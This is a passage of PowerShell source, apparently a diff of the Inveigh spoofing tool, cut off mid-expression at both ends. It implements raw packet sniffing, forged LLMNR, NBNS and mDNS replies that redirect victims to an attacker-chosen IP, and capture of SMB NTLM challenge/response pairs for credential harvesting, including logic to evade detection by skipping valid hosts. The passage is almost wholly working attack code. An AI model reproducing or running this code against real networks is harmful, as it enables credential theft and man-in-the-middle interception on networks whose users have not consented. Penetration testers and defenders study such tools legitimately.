$sniffer_socket.IOControl([System.Net.Sockets.IOControlCode]::ReceiveAll,$byte_in,$byte_out) + $LLMNR_TTL_bytes = [System.BitConverter]::GetBytes($LLMNRTTL) + [Array]::Reverse($LLMNR_TTL_bytes) + $mDNS_TTL_bytes = [System.BitConverter]::GetBytes($mDNSTTL) + [Array]::Reverse($mDNS_TTL_bytes) + $NBNS_TTL_bytes = [System.BitConverter]::GetBytes($NBNSTTL) + [Array]::Reverse($NBNS_TTL_bytes) + $LLMNR_learning_log = New-Object System.Collections.Generic.List[string] + $NBNS_learning_log = New-Object System.Collections.Generic.List[string] + + if($SpooferLearningDelay) + { + $spoofer_learning_delay = New-TimeSpan -Minutes $SpooferLearningDelay + $spoofer_learning_stopwatch = [System.Diagnostics.Stopwatch]::StartNew() + } + + while($inveigh.running -and $sniffer_running) + { + $packet_data = $sniffer_socket.Receive($byte_data,0,$byte_data.Length,[System.Net.Sockets.SocketFlags]::None) + $memory_stream = New-Object System.IO.MemoryStream($byte_data,0,$packet_data) + $binary_reader = New-Object System.IO.BinaryReader($memory_stream) + $version_HL = $binary_reader.ReadByte() + $binary_reader.ReadByte() > $null + $total_length = DataToUInt16 $binary_reader.ReadBytes(2) + $binary_reader.ReadBytes(5) > $null + $protocol_number = $binary_reader.ReadByte() + $binary_reader.ReadBytes(2) > $null + $source_IP_bytes = $binary_reader.ReadBytes(4) + $source_IP = [System.Net.IPAddress]$source_IP_bytes + $destination_IP_bytes = $binary_reader.ReadBytes(4) + $destination_IP = [System.Net.IPAddress]$destination_IP_bytes + $header_length = [Int]"0x$(('{0:X}' -f $version_HL)[1])" * 4 + + switch($protocol_number) + { + + 6 + { # TCP + $source_port = DataToUInt16 $binary_reader.ReadBytes(2) + $destination_port = DataToUInt16 $binary_reader.ReadBytes(2) + $binary_reader.ReadBytes(8) > $null + $TCP_header_length = [Int]"0x$(('{0:X}' -f $binary_reader.ReadByte())[0])" * 4 + $binary_reader.ReadBytes(7) > $null + $payload_bytes = $binary_reader.ReadBytes($total_length - ($header_length + $TCP_header_length)) + + switch ($destination_port) + { + + 139 + { + if($SMB -eq 'Y') + { + + if($NTLM_challenge -and $client_IP -eq $source_IP -and $client_port -eq $source_port) + { + SMBNTLMResponse $payload_bytes + } + + $client_IP = "" + $client_port = "" + $NTLM_challenge = "" + + } + } + + 445 + { + + if($SMB -eq 'Y') + { + + if($NTLM_challenge -and $client_IP -eq $source_IP -and $client_port -eq $source_port) + { + SMBNTLMResponse $payload_bytes + } + + $client_IP = "" + $client_port = "" + $NTLM_challenge = "" + + } + + } + + } + + # Outgoing packets + switch ($source_port) + { + + 139 + { + + if($SMB -eq 'Y') + { + $client_IP = $destination_IP + $client_port = $destination_port + $NTLM_challenge = SMBNTLMChallenge $payload_bytes + } + + } + + 445 + { + + if($SMB -eq 'Y') + { + $client_IP = $destination_IP + $client_port = $destination_port + $NTLM_challenge = SMBNTLMChallenge $payload_bytes + } + + } + + } + + } + + 17 + { # UDP + $source_port = $binary_reader.ReadBytes(2) + $endpoint_source_port = DataToUInt16 ($source_port) + $destination_port = DataToUInt16 $binary_reader.ReadBytes(2) + $UDP_length = $binary_reader.ReadBytes(2) + $UDP_length_uint = DataToUInt16 ($UDP_length) + $binary_reader.ReadBytes(2) > $null + $payload_bytes = $binary_reader.ReadBytes(($UDP_length_uint - 2) * 4) + + # Incoming packets + switch($destination_port) + { + + 137 # NBNS + { + + if(([System.BitConverter]::ToString($payload_bytes[4..7]) -eq '00-01-00-00' -or [System.BitConverter]::ToString($payload_bytes[4..7]) -eq '00-00-00-01') -and [System.BitConverter]::ToString($payload_bytes[10..11]) -ne '00-01') + { + $UDP_length[0] += 12 + + $NBNS_response_data = $payload_bytes[13..$payload_bytes.Length] + + $NBNS_TTL_bytes + + 0x00,0x06,0x00,0x00 + + ([System.Net.IPAddress][String]([System.Net.IPAddress]$SpooferIP)).GetAddressBytes() + + $NBNS_response_packet = 0x00,0x89 + + $source_port[1,0] + + $UDP_length[1,0] + + 0x00,0x00 + + $payload_bytes[0,1] + + 0x85,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x20 + + $NBNS_response_data + + $NBNS_query_type = [System.BitConverter]::ToString($payload_bytes[43..44]) + + switch ($NBNS_query_type) + { + + '41-41' + { + $NBNS_query_type = '00' + } + + '41-44' + { + $NBNS_query_type = '03' + } + + '43-41' + { + $NBNS_query_type = '20' + } + + '42-4C' + { + $NBNS_query_type = '1B' + } + + '42-4D' + { + $NBNS_query_type = '1C' + } + + '42-4E' + { + $NBNS_query_type = '1D' + } + + '42-4F' + { + $NBNS_query_type = '1E' + } + + } + + $NBNS_query = [System.BitConverter]::ToString($payload_bytes[13..($payload_bytes.Length - 4)]) + $NBNS_query = $NBNS_query -replace "-00","" + $NBNS_query = $NBNS_query.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $NBNS_query_string_encoded = New-Object System.String ($NBNS_query,0,$NBNS_query.Length) + $NBNS_query_string_encoded = $NBNS_query_string_encoded.Substring(0,$NBNS_query_string_encoded.IndexOf("CA")) + $NBNS_query_string_subtracted = "" + $NBNS_query_string = "" + $n = 0 + + do + { + $NBNS_query_string_sub = (([Byte][Char]($NBNS_query_string_encoded.Substring($n,1))) - 65) + $NBNS_query_string_subtracted += ([System.Convert]::ToString($NBNS_query_string_sub,16)) + $n += 1 + } + until($n -gt ($NBNS_query_string_encoded.Length - 1)) + + $n = 0 + + do + { + $NBNS_query_string += ([Char]([System.Convert]::ToInt16($NBNS_query_string_subtracted.Substring($n,2),16))) + $n += 2 + } + until($n -gt ($NBNS_query_string_subtracted.Length - 1) -or $NBNS_query_string.Length -eq 15) + + $NBNS_request_ignore = $false + + if($NBNS -eq 'Y') + { + + if($SpooferLearning -eq 'Y' -and $inveigh.valid_host_list -notcontains $NBNS_query_string -and [System.BitConverter]::ToString($payload_bytes[4..7]) -eq '00-01-00-00' -and $source_IP -ne $IP) + { + + if(($NBNS_learning_log.Exists({param($s) $s -like "20* $NBNS_query_string"}))) + { + $NBNS_learning_queue_time = [DateTime]$NBNS_learning_log.Find({param($s) $s -like "20* $NBNS_query_string"}).SubString(0,19) + + if((Get-Date) -ge $NBNS_learning_queue_time.AddMinutes($SpooferLearningInterval)) + { + $NBNS_learning_log.RemoveAt($NBNS_learning_log.FindIndex({param($s) $s -like "20* $NBNS_query_string"})) + $NBNS_learning_send = $true + } + else + { + $NBNS_learning_send = $false + } + + } + else + { + $NBNS_learning_send = $true + } + + if($NBNS_learning_send) + { + $NBNS_transaction_ID = [String](1..2 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) + $NBNS_transaction_ID_bytes = $NBNS_transaction_ID.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $NBNS_transaction_ID = $NBNS_transaction_ID -replace " ","-" + $NBNS_UDP_client = new-Object System.Net.Sockets.UdpClient 137 + $NBNS_hostname_bytes = $payload_bytes[13..($payload_bytes.Length - 5)] + + $NBNS_request_packet = $NBNS_transaction_ID_bytes + + 0x01,0x10,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x20 + + $NBNS_hostname_bytes + + 0x00,0x20,0x00,0x01 + + $NBNS_learning_destination_endpoint = New-Object System.Net.IPEndpoint([IPAddress]::broadcast,137) + $NBNS_UDP_client.Connect($NBNS_learning_destination_endpoint) + $NBNS_UDP_client.Send($NBNS_request_packet,$NBNS_request_packet.Length) + $NBNS_UDP_client.Close() + $NBNS_learning_log.Add("$(Get-Date -format 's') $NBNS_transaction_ID $NBNS_query_string") + $inveigh.console_queue.Add("$(Get-Date -format 's') - NBNS request for $NBNS_query_string sent to " + $NBNS_learning_destination_endpoint.Address.IPAddressToString) + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - LLMNR request for $NBNS_query_string sent to " + $NBNS_learning_destination_endpoint.Address.IPAddressToString) + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - LLMNR request for $NBNS_query_string sent to " + $NBNS_learning_destination_endpoint.Address.IPAddressToString) + } + + } + + } + + if(($inveigh.valid_host_list -notcontains $NBNS_query_string -or $SpooferHostsReply -contains $NBNS_query_string) -and (!$SpooferHostsReply -or $SpooferHostsReply -contains $NBNS_query_string) -and ( + !$SpooferHostsIgnore -or $SpooferHostsIgnore -notcontains $NBNS_query_string) -and (!$SpooferIPsReply -or $SpooferIPsReply -contains $source_IP) -and ( + !$SpooferIPsIgnore -or $SpooferIPsIgnore -notcontains $source_IP) -and ($inveigh.spoofer_repeat -or $inveigh.IP_capture_list -notcontains $source_IP.IPAddressToString) -and ($NBNS_query_string.Trim() -ne '*') -and ( + $SpooferLearning -eq 'N' -or ($SpooferLearning -eq 'Y' -and !$SpooferLearningDelay) -or ($SpooferLearningDelay -and $spoofer_learning_stopwatch.Elapsed -ge $spoofer_learning_delay)) -and ($source_IP -ne $IP) -and ( + $NBNSTypes -contains $NBNS_query_type)) + { + + if($SpooferLearning -eq 'N' -or !$NBNS_learning_log.Exists({param($s) $s -like "* " + [System.BitConverter]::ToString($payload_bytes[0..1]) + " *"})) + { + $NBNS_send_socket = New-Object Net.Sockets.Socket([System.Net.Sockets.AddressFamily]::InterNetwork,[System.Net.Sockets.SocketType]::Raw,[System.Net.Sockets.ProtocolType]::Udp) + $NBNS_send_socket.SendBufferSize = 1024 + $NBNS_destination_point = New-Object Net.IPEndpoint($source_IP,$endpoint_source_port) + $NBNS_send_socket.SendTo($NBNS_response_packet,$NBNS_destination_point) + $NBNS_send_socket.Close() + $NBNS_response_message = "- response sent" + } + else + { + $NBNS_request_ignore = $true + } + + } + else + { + + if($source_IP -eq $IP -and $NBNS_learning_log.Exists({param($s) $s -like "* " + [System.BitConverter]::ToString($payload_bytes[0..1]) + " *"})) + { + $NBNS_request_ignore = $true + } + elseif($NBNSTypes -notcontains $NBNS_query_type) + { + $NBNS_response_message = "- disabled NBNS type" + } + elseif($SpooferHostsReply -and $SpooferHostsReply -notcontains $NBNS_query_string) + { + $NBNS_response_message = "- $NBNS_query_string is not on reply list" + } + elseif($SpooferHostsIgnore -and $SpooferHostsIgnore -contains $NBNS_query_string) + { + $NBNS_response_message = "- $NBNS_query_string is on ignore list" + } + elseif($SpooferIPsReply -and $SpooferIPsReply -notcontains $source_IP) + { + $NBNS_response_message = "- $source_IP is not on reply list" + } + elseif($SpooferIPsIgnore -and $SpooferIPsIgnore -contains $source_IP) + { + $NBNS_response_message = "- $source_IP is on ignore list" + } + elseif($NBNS_query_string.Trim() -eq '*') + { + $NBNS_response_message = "- NBSTAT request" + } + elseif($inveigh.valid_host_list -contains $NBNS_query_string) + { + $NBNS_response_message = "- $NBNS_query_string is a valid host" + } + elseif($inveigh.IP_capture_list -contains $source_IP.IPAddressToString) + { + $NBNS_response_message = "- previous capture from $source_IP" + } + elseif($SpooferLearningDelay -and $spoofer_learning_stopwatch.Elapsed -lt $spoofer_learning_delay) + { + $NBNS_response_message = "- " + [Int]($SpooferLearningDelay - $spoofer_learning_stopwatch.Elapsed.TotalMinutes) + " minute(s) until spoofing starts" + } + elseif($source_IP -eq $IP -and !$NBNS_learning_log.Exists({param($s) $s -like "* " + [System.BitConverter]::ToString($payload_bytes[0..1]) + " *"})) + { + $NBNS_response_message = "- local request" + } + else + { + $NBNS_response_message = "- something went wrong" + } + + } + + } + + if(!$NBNS_request_ignore -and [System.BitConverter]::ToString($payload_bytes[4..7]) -eq '00-01-00-00') + { + $inveigh.console_queue.Add("$(Get-Date -format 's') - NBNS request for $NBNS_query_string<$NBNS_query_type> received from $source_IP $NBNS_response_message") + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - NBNS request for $NBNS_query_string<$NBNS_query_type> received from $source_IP $NBNS_response_message") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - NBNS request for $NBNS_query_string<$NBNS_query_type> received from $source_IP $NBNS_response_message") + } + + } + elseif($SpooferLearning -eq 'Y' -and [System.BitConverter]::ToString($payload_bytes[4..7]) -eq '00-00-00-01' -and $NBNS_learning_log.Exists({param($s) $s -like "* " + [System.BitConverter]::ToString($payload_bytes[0..1]) + " *"})) + { + [Byte[]]$NBNS_response_IP_bytes = $payload_bytes[($payload_bytes.Length - 4)..($payload_bytes.Length)] + $NBNS_response_IP = [System.Net.IPAddress]$NBNS_response_IP_bytes + $NBNS_response_IP = $NBNS_response_IP.IPAddressToString + + if($inveigh.valid_host_list -notcontains $NBNS_query_string) + { + $inveigh.valid_host_list.Add($NBNS_query_string) + $inveigh.console_queue.Add("$(Get-Date -format 's') - NBNS response $NBNS_response_IP for $NBNS_query_string received from $source_IP - $NBNS_query_string added to valid host list") + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - NBNS response $NBNS_response_IP for $NBNS_query_string received from $source_IP - $NBNS_query_string added to valid host list") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - NBNS response $NBNS_response_IP for $NBNS_query_string received from $source_IP - $NBNS_query_string added to valid host list") + } + + } + + } + + } + + } + + 5353 # mDNS + { + + if([System.BitConverter]::ToString($payload_bytes) -like '*-00-01-80-01') + { + $UDP_length[0] += 10 + $mDNS_query_payload_bytes = $payload_bytes[(12)..($payload_bytes.Length - 5)] + $mDNS_query_string = DataToString 1 $mDNS_query_payload_bytes[0] $mDNS_query_payload_bytes + $mDNS_query_string_full = $mDNS_query_string + ".local" + + $mDNS_response_data = $mDNS_query_payload_bytes + + 0x00,0x01,0x00,0x01 + + $mDNS_TTL_bytes + + 0x00,0x04 + + ([System.Net.IPAddress][String]([System.Net.IPAddress]$SpooferIP)).GetAddressBytes() + + $mDNS_response_packet = 0x14,0xe9 + + $source_port[1,0] + + $UDP_length[1,0] + + 0x00,0x00 + + $payload_bytes[0,1] + + 0x84,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00 + + $mDNS_response_data + + if($mDNS -eq 'Y') + { + + if((!$SpooferHostsReply -or $SpooferHostsReply -contains $mDNS_query_string) -and (!$SpooferHostsIgnore -or $SpooferHostsIgnore -notcontains $mDNS_query_string) -and ( + !$SpooferIPsReply -or $SpooferIPsReply -contains $source_IP) -and (!$SpooferIPsIgnore -or $SpooferIPsIgnore -notcontains $source_IP) -and ( + $inveigh.spoofer_repeat -or $inveigh.IP_capture_list -notcontains $source_IP.IPAddressToString) -and ($mDNSTypes -contains 'QU')) + { + $send_socket = New-Object System.Net.Sockets.Socket([System.Net.Sockets.AddressFamily]::InterNetwork,[System.Net.Sockets.SocketType]::Raw,[System.Net.Sockets.ProtocolType]::Udp ) + $send_socket.SendBufferSize = 1024 + $destination_point = New-Object System.Net.IPEndpoint($source_IP,$endpoint_source_port) + $send_socket.SendTo($mDNS_response_packet,$destination_point) + $send_socket.Close() + $mDNS_response_message = "- response sent" + } + else + { + + if($mDNSTypes -notcontains 'QU') + { + $mDNS_response_message = "- disabled mDNS type" + } + elseif($SpooferHostsReply -and $SpooferHostsReply -notcontains $mDNS_query_string) + { + $mDNS_response_message = "- $mDNS_query_string is not on reply list" + } + elseif($SpooferHostsIgnore -and $SpooferHostsIgnore -contains $mDNS_query_string) + { + $mDNS_response_message = "- $mDNS_query_string is on ignore list" + } + elseif($SpooferIPsReply -and $SpooferIPsReply -notcontains $source_IP) + { + $mDNS_response_message = "- $source_IP is not on reply list" + } + elseif($SpooferIPsIgnore -and $SpooferIPsIgnore -contains $source_IP) + { + $mDNS_response_message = "- $source_IP is on ignore list" + } + else + { + $mDNS_response_message = "- not spoofed due to previous capture" + } + + } + + } + + $inveigh.console_queue.Add("$(Get-Date -format 's') - mDNS(QU) request for $mDNS_query_string_full received from $source_IP $mDNS_response_message") + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - mDNS(QU) request for $mDNS_query_string_full received from $source_IP $mDNS_response_message") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - mDNS(QU) request for $mDNS_query_string_full received from $source_IP $mDNS_response_message") + } + + } + elseif([System.BitConverter]::ToString($payload_bytes) -like '*-05-6C-6F-63-61-6C-00-00-01-00-01-*') + { + $UDP_length[0] += 4 + $mDNS_query_payload_bytes = $payload_bytes[12..($payload_bytes[12] + 12)] + $mDNS_query_string = DataToString 1 $mDNS_query_payload_bytes[0] $mDNS_query_payload_bytes + $mDNS_query_string_full = $mDNS_query_string + ".local" + + $mDNS_response_data = $mDNS_query_payload_bytes + + 0x05,0x6c,0x6f,0x63,0x61,0x6c,0x00 + + 0x00,0x01,0x80,0x01 + + $mDNS_TTL_bytes + + 0x00,0x04 + + ([System.Net.IPAddress][String]([System.Net.IPAddress]$SpooferIP)).GetAddressBytes() + + + $mDNS_response_packet = 0x14,0xe9 + + $source_port[1,0] + + $UDP_length[1,0] + + 0x00,0x00 + + $payload_bytes[0,1] + + 0x84,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00 + + $mDNS_response_data + + if($mDNS -eq 'Y') + { + + if((!$SpooferHostsReply -or $SpooferHostsReply -contains $mDNS_query_string) -and (!$SpooferHostsIgnore -or $SpooferHostsIgnore -notcontains $mDNS_query_string) -and ( + !$SpooferIPsReply -or $SpooferIPsReply -contains $source_IP) -and (!$SpooferIPsIgnore -or $SpooferIPsIgnore -notcontains $source_IP) -and ( + $inveigh.spoofer_repeat -or $inveigh.IP_capture_list -notcontains $source_IP.IPAddressToString) -and ($mDNSTypes -contains 'QM')) + { + $send_socket = New-Object System.Net.Sockets.Socket([System.Net.Sockets.AddressFamily]::InterNetwork,[System.Net.Sockets.SocketType]::Raw,[System.Net.Sockets.ProtocolType]::Udp ) + $send_socket.SendBufferSize = 1024 + $destination_point = New-Object System.Net.IPEndpoint([IPAddress]"224.0.0.251",5353) + $send_socket.SendTo($mDNS_response_packet,$destination_point) + $send_socket.Close() + $mDNS_response_message = "- response sent" + } + else + { + + if($mDNSTypes -notcontains 'QM') + { + $mDNS_response_message = "- disabled mDNS type" + } + elseif($SpooferHostsReply -and $SpooferHostsReply -notcontains $mDNS_query_string) + { + $mDNS_response_message = "- $mDNS_query_string is not on reply list" + } + elseif($SpooferHostsIgnore -and $SpooferHostsIgnore -contains $mDNS_query_string) + { + $mDNS_response_message = "- $mDNS_query_string is on ignore list" + } + elseif($SpooferIPsReply -and $SpooferIPsReply -notcontains $source_IP) + { + $mDNS_response_message = "- $source_IP is not on reply list" + } + elseif($SpooferIPsIgnore -and $SpooferIPsIgnore -contains $source_IP) + { + $mDNS_response_message = "- $source_IP is on ignore list" + } + else + { + $mDNS_response_message = "- not spoofed due to previous capture" + } + + } + + } + + $inveigh.console_queue.Add("$(Get-Date -format 's') - mDNS(QM) request for $mDNS_query_string_full received from $source_IP $mDNS_response_message") + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - mDNS(QM) request for $mDNS_query_string_full received from $source_IP $mDNS_response_message") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - mDNS(QM) request for $mDNS_query_string_full received from $source_IP $mDNS_response_message") + } + + } + + } + + 5355 # LLMNR + { + + if([System.BitConverter]::ToString($payload_bytes[($payload_bytes.Length - 4)..($payload_bytes.Length - 3)]) -ne '00-1c') # ignore AAAA for now + { + $UDP_length[0] += $payload_bytes.Length - 2 + $LLMNR_response_data = $payload_bytes[12..$payload_bytes.Length] + + $LLMNR_response_data += $LLMNR_response_data + + $LLMNR_TTL_bytes + + 0x00,0x04 + + ([System.Net.IPAddress][String]([System.Net.IPAddress]$SpooferIP)).GetAddressBytes() + + $LLMNR_response_packet = 0x14,0xeb + + $source_port[1,0] + + $UDP_length[1,0] + + 0x00,0x00 + + $payload_bytes[0,1] + + 0x80,0x00,0x00,0x01,0x00,0x01,0x00,0x00,0x00,0x00 + + $LLMNR_response_data + + $LLMNR_query = [System.BitConverter]::ToString($payload_bytes[13..($payload_bytes.Length - 4)]) + $LLMNR_query = $LLMNR_query -replace "-00","" + + if($LLMNR_query.Length -eq 2) + { + $LLMNR_query = [Char][System.Convert]::ToInt16($LLMNR_query,16) + $LLMNR_query_string = New-Object System.String($LLMNR_query) + } + else + { + $LLMNR_query = $LLMNR_query.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $LLMNR_query_string = New-Object System.String($LLMNR_query,0,$LLMNR_query.Length) + } + + $LLMNR_request_ignore = $false + + if($LLMNR -eq 'Y') + { + + if($SpooferLearning -eq 'Y' -and $inveigh.valid_host_list -notcontains $LLMNR_query_string -and $source_IP -ne $IP) + { + + if(($LLMNR_learning_log.Exists({param($s) $s -like "20* $LLMNR_query_string"}))) + { + $LLMNR_learning_queue_time = [DateTime]$LLMNR_learning_log.Find({param($s) $s -like "20* $LLMNR_query_string"}).SubString(0,19) + + if((Get-Date) -ge $LLMNR_learning_queue_time.AddMinutes($SpooferLearningInterval)) + { + $LLMNR_learning_log.RemoveAt($LLMNR_learning_log.FindIndex({param($s) $s -like "20* $LLMNR_query_string"})) + $LLMNR_learning_send = $true + } + else + { + $LLMNR_learning_send = $false + } + + } + else + { + $LLMNR_learning_send = $true + } + + if($LLMNR_learning_send) + { + $LLMNR_transaction_ID = [String](1..2 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) + $LLMNR_transaction_ID_bytes = $LLMNR_transaction_ID.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $LLMNR_transaction_ID = $LLMNR_transaction_ID -replace " ","-" + $LLMNR_UDP_client = new-Object System.Net.Sockets.UdpClient + $LLMNR_hostname_bytes = $payload_bytes[13..($payload_bytes.Length - 5)] + + $LLMNR_request_packet = $LLMNR_transaction_ID_bytes + + 0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00 + + ($LLMNR_hostname_bytes.Length - 1) + + $LLMNR_hostname_bytes + + 0x00,0x01,0x00,0x01 + + $LLMNR_learning_destination_endpoint = New-Object System.Net.IPEndpoint([IPAddress]"224.0.0.252",5355) + $LLMNR_UDP_client.Connect($LLMNR_learning_destination_endpoint) + $LLMNR_UDP_client.Send($LLMNR_request_packet,$LLMNR_request_packet.Length) + $LLMNR_UDP_client.Close() + $LLMNR_learning_log.Add("$(Get-Date -format 's') $LLMNR_transaction_ID $LLMNR_query_string") + $inveigh.console_queue.Add("$(Get-Date -format 's') - LLMNR request for $LLMNR_query_string sent to 224.0.0.252") + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - LLMNR request for $LLMNR_query_string sent to 224.0.0.252") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - LLMNR request for $LLMNR_query_string sent to 224.0.0.252") + } + + } + + } + + if(($inveigh.valid_host_list -notcontains $LLMNR_query_string -or $SpooferHostsReply -contains $LLMNR_query_string) -and (!$SpooferHostsReply -or $SpooferHostsReply -contains $LLMNR_query_string) -and ( + !$SpooferHostsIgnore -or $SpooferHostsIgnore -notcontains $LLMNR_query_string) -and (!$SpooferIPsReply -or $SpooferIPsReply -contains $source_IP) -and ( + !$SpooferIPsIgnore -or $SpooferIPsIgnore -notcontains $source_IP) -and ($inveigh.spoofer_repeat -or $inveigh.IP_capture_list -notcontains $source_IP.IPAddressToString) -and ( + $SpooferLearning -eq 'N' -or ($SpooferLearning -eq 'Y' -and !$SpooferLearningDelay) -or ($SpooferLearningDelay -and $spoofer_learning_stopwatch.Elapsed -ge $spoofer_learning_delay))) + { + + if($SpooferLearning -eq 'N' -or !$LLMNR_learning_log.Exists({param($s) $s -like "* " + [System.BitConverter]::ToString($payload_bytes[0..1]) + " *"})) + { + $LLMNR_send_socket = New-Object System.Net.Sockets.Socket([System.Net.Sockets.AddressFamily]::InterNetwork,[System.Net.Sockets.SocketType]::Raw,[System.Net.Sockets.ProtocolType]::Udp ) + $LLMNR_send_socket.SendBufferSize = 1024 + $LLMNR_destination_point = New-Object System.Net.IPEndpoint($source_IP,$endpoint_source_port) + $LLMNR_send_socket.SendTo($LLMNR_response_packet,$LLMNR_destination_point) + $LLMNR_send_socket.Close() + $LLMNR_response_message = "- response sent" + } + else + { + $LLMNR_request_ignore = $true + } + } + else + { + + if($SpooferHostsReply -and $SpooferHostsReply -notcontains $LLMNR_query_string) + { + $LLMNR_response_message = "- $LLMNR_query_string is not on reply list" + } + elseif($SpooferHostsIgnore -and $SpooferHostsIgnore -contains $LLMNR_query_string) + { + $LLMNR_response_message = "- $LLMNR_query_string is on ignore list" + } + elseif($SpooferIPsReply -and $SpooferIPsReply -notcontains $source_IP) + { + $LLMNR_response_message = "- $source_IP is not on reply list" + } + elseif($SpooferIPsIgnore -and $SpooferIPsIgnore -contains $source_IP) + { + $LLMNR_response_message = "- $source_IP is on ignore list" + } + elseif($inveigh.valid_host_list -contains $LLMNR_query_string) + { + $LLMNR_response_message = "- $LLMNR_query_string is a valid host" + } + elseif($inveigh.IP_capture_list -contains $source_IP.IPAddressToString) + { + $LLMNR_response_message = "- previous capture from $source_IP" + } + elseif($SpooferLearningDelay -and $spoofer_learning_stopwatch.Elapsed -lt $spoofer_learning_delay) + { + $LLMNR_response_message = "- " + [Int]($SpooferLearningDelay - $spoofer_learning_stopwatch.Elapsed.TotalMinutes) + " minute(s) until spoofing starts" + } + else + { + $LLMNR_response_message = "- something went wrong" + } + + } + + } + + if(!$LLMNR_request_ignore) + { + $inveigh.console_queue.Add("$(Get-Date -format 's') - LLMNR request for $LLMNR_query_string received from $source_IP $LLMNR_response_message") + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - LLMNR request for $LLMNR_query_string received from $source_IP $LLMNR_response_message") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - LLMNR request for $LLMNR_query_string received from $source_IP $LLMNR_response_message") + } + + } + + } + + } + + } + + switch($endpoint_source_port) + { + + 5355 # LLMNR Response + { + + if($SpooferLearning -eq 'Y' -and $LLMNR_learning_log.Exists({param($s) $s -like "* " + [System.BitConverter]::ToString($payload_bytes[0..1]) + " *"})) + { + $LLMNR_query = [System.BitConverter]::ToString($payload_bytes[13..($payload_bytes[12] + 13)]) + $LLMNR_query = $LLMNR_query -replace "-00","" + + if($LLMNR_query.Length -eq 2) + { + $LLMNR_query = [Char][System.Convert]::ToInt16($LLMNR_query,16) + $LLMNR_query_string = New-Object System.String($LLMNR_query) + } + else + { + $LLMNR_query = $LLMNR_query.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $LLMNR_query_string = New-Object System.String($LLMNR_query,0,$LLMNR_query.Length) + } + + [Byte[]]$LLMNR_response_IP_bytes = $payload_bytes[($payload_bytes.Length - 4)..($payload_bytes.Length)] + $LLMNR_response_IP = [System.Net.IPAddress]$LLMNR_response_IP_bytes + $LLMNR_response_IP = $LLMNR_response_IP.IPAddressToString + + if($inveigh.valid_host_list -notcontains $LLMNR_query_string) + { + $inveigh.valid_host_list.Add($LLMNR_query_string) + $inveigh.console_queue.Add("$(Get-Date -format 's') - LLMNR response $LLMNR_response_IP for $LLMNR_query_string received from $source_IP - $LLMNR_query_string added to valid host list") + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - LLMNR response $LLMNR_response_IP for $LLMNR_query_string received from $source_IP - $LLMNR_query_string added to valid host list") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - LLMNR response $LLMNR_response_IP for $LLMNR_query_string received from $source_IP - $LLMNR_query_string added to valid host list") + } + + } + + } + + } + + } + + } + + } + + } + + $binary_reader.Close() + $memory_stream.Dispose() + $memory_stream.Close() +} + +# Unprivileged LLMNR Spoofer ScriptBlock +$LLMNR_spoofer_scriptblock = +{ + param ($Inspect,$LLMNR_response_message,$SpooferIP,$SpooferHostsReply,$SpooferHostsIgnore,$SpooferIPsReply,$SpooferIPsIgnore,$LLMNRTTL) + + $LLMNR_running = $true + $LLMNR_listener_endpoint = New-object System.Net.IPEndPoint ([IPAddress]::Any,5355) + + try + { + $LLMNR_UDP_client = New-Object System.Net.Sockets.UdpClient 5355 + } + catch + { + $inveigh.console_queue.Add("$(Get-Date -format 's') - Error starting LLMNR spoofer") + $LLMNR_running = $false + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - Error starting LLMNR spoofer") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - Error starting LLMNR spoofer") + } + + } + + $LLMNR_multicast_group = [IPAddress]"224.0.0.252" + $LLMNR_UDP_client.JoinMulticastGroup($LLMNR_multicast_group) + $LLMNR_UDP_client.Client.ReceiveTimeout = 5000 + $LLMNR_TTL_bytes = [System.BitConverter]::GetBytes($LLMNRTTL) + [Array]::Reverse($LLMNR_TTL_bytes) + + while($inveigh.running -and $LLMNR_running) + { + + try + { + $LLMNR_request_data = $LLMNR_UDP_client.Receive([Ref]$LLMNR_listener_endpoint) + } + catch + { + $LLMNR_UDP_client.Close() + $LLMNR_UDP_client = new-Object System.Net.Sockets.UdpClient 5355 + $LLMNR_multicast_group = [IPAddress]"224.0.0.252" + $LLMNR_UDP_client.JoinMulticastGroup($LLMNR_multicast_group) + $LLMNR_UDP_client.Client.ReceiveTimeout = 5000 + } + + if($LLMNR_request_data -and [System.BitConverter]::ToString($LLMNR_request_data[($LLMNR_request_data.Length - 4)..($LLMNR_request_data.Length - 3)]) -ne '00-1c') # ignore AAAA for now + { + + $LLMNR_response_packet = $LLMNR_request_data[0,1] + + 